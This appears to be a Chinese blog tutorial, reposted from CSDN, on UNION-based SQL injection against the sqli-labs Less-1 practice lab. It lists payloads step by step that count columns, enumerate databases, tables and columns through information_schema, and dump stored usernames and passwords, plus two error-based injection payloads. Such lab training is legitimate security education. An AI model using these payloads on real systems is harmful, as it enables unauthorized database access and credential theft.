飞道的博客

2.1 union联合查询注入

228人阅读  评论(0)

简介:文章分为三部分:1、概要;2、详细的思维导图;3、详细的解说。

描述:概要包括该文介绍的知识点;详细的思维导图更好地理清思路,方便记忆,但对于有些对于作者比较基础的内容不会有详细的解释,建议主动了解;详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。

前面的话:操作学习的环境----Linux环境+docker+sqli-labs。环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建或私信我亲测有效的资源给你。

Tips:这些都是作者学习过的内容,文字、思维导图等都是一双手,后续会连载这系列以及丰富流程说明,欢迎沟通交流、留言,觉得必要的也可收藏关注

1、概要:

2.1 union联合查询注入UNION介绍
     UNION 注入应用场景
     UNION查询注入方法(重点)
          1.order by确定列数
          2.观察页面返回,选取可以显示数据的位置,进行下一步的注入
          3.读库信息
          4.读表信息
          5.读字段
          6.读数据

2、详细的思维导图:

3、详细的解说:

2.1 union联合查询注入
    UNION介绍

        UNION 操作符用于合并两个或多个SELECT语句的结果集。
        注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同。
        默认情况,UNION操作符选取不同的值。如果允许重复的值,请使用UNIONALL。
    UNION 注入应用场景
        1.只有最后一个SELECT子句允许有ORDER BY;
        2.只有最后一个SELECT子句允许有LIMIT;
        3.只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果;
        4.注入点页面有回显;
    UNION查询注入方法(结合sqli-labs的Less-1)
        1.order by 确定列数
        2.观察页面返回,选取可以显示数据的位置,进行下一步的注入
        3.读库信息
        4.读表信息
        5.读字段
        6.读数据

Less-1(结合sqli-labs的Less-1,实操)
    源代码(id字符型):
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
        ?id=1
            返回:Your Login name:Dumb
        ?id=1'
            返回:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1


        ?id=1' and '1' = '1
            返回:正常


        ?id=1' and '1' = '2
            返回:不正常-说明应该存在注入


        ?id=1' order by 3--+
            --+注释掉原语句中的单引号’
            发现数据为3列(因为4会报错)


        ?id=-1' union select 1,2,3--+
            发现2,3可以注入


        ?id=-1' union select 1,2,(select version())--+
            查看下版本信息


        ?id=-1' union select 1,2,(select schema_name from information_schema.schemata)--+
            查库:发现提示数据超过一行
                Subquery returns more than 1 row


        ?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
            查库:使用group_concat()成功查询出结果
                返回:Your Password:information_schema,challenges,mysql,performance_schema,security


        ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
            查表
                返回:Your Password:emails,referers,uagents,users 


        ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)--+
            查列:name可以转换Hex
                返回:Your Password:id,username,password


        ?id=-1' union select 1,2,(select group_concat(username,password) from users)--+
            查数据
               返回: Your Password:DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4 


        ?id=-1' union select 1,2,(select group_concat(concat_ws('~',username,password) )from users)--+
            规范数据
                返回:Your Password:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2


        ?id=-1' union select 1,2,(select concat_ws('~',username,password) from users limit 0,1)--+
            一行行读数据:limit


        ?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+
            报错注入floor()


        ?id=1' and (select extractvalue(1,concat(0x7,(select concat(0x7,username,password) from users limit 0,1),0x7e)))--+
            报错注入extractvalue()


转载:https://blog.csdn.net/ZY_extreme/article/details/105504734
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场